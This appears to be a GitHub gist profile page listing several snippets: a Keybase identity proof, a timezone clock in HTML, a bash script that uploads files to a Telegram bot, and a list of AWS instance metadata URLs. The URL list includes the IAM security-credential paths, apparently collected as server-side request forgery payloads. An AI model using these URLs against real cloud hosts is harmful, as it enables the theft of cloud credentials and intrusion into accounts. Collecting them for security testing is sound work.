Skip to content

Instantly share code, notes, and snippets.

View v1dhun's full-sized avatar
:octocat:

Vidhun K v1dhun

:octocat:
View GitHub Profile

Keybase proof

I hereby claim:

  • I am v1dhun on github.
  • I am vidhun (https://keybase.io/vidhun) on keybase.
  • I have a public key whose fingerprint is D505 BE1C C70C 1977 7DC8 2494 DE1B 510F 5396 D307

To claim this, I am signing this object:

@v1dhun
v1dhun / time.html
Created September 27, 2021 11:33
Display Time based on TimeZone
<!DOCTYPE html>
<head>
<meta content="text/html;charset=utf-8" http-equiv="Content-Type">
</head>
<body>
<script>
const timezone = Intl.DateTimeFormat().resolvedOptions().timeZone;
var time
const xhttp = new XMLHttpRequest();
xhttp.onload = function() {
# Amazon Web Services (No Header Required)
# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
@v1dhun
v1dhun / send.sh
Last active August 31, 2020 08:37
#!/bin/bash
chat_id="$1"
token="$2"
SendFile(){
curl -s -F chat_id="$chat_id" -F document=@"$1" -F caption="$2" https://api.telegram.org/bot$token/sendDocument &>/dev/null
}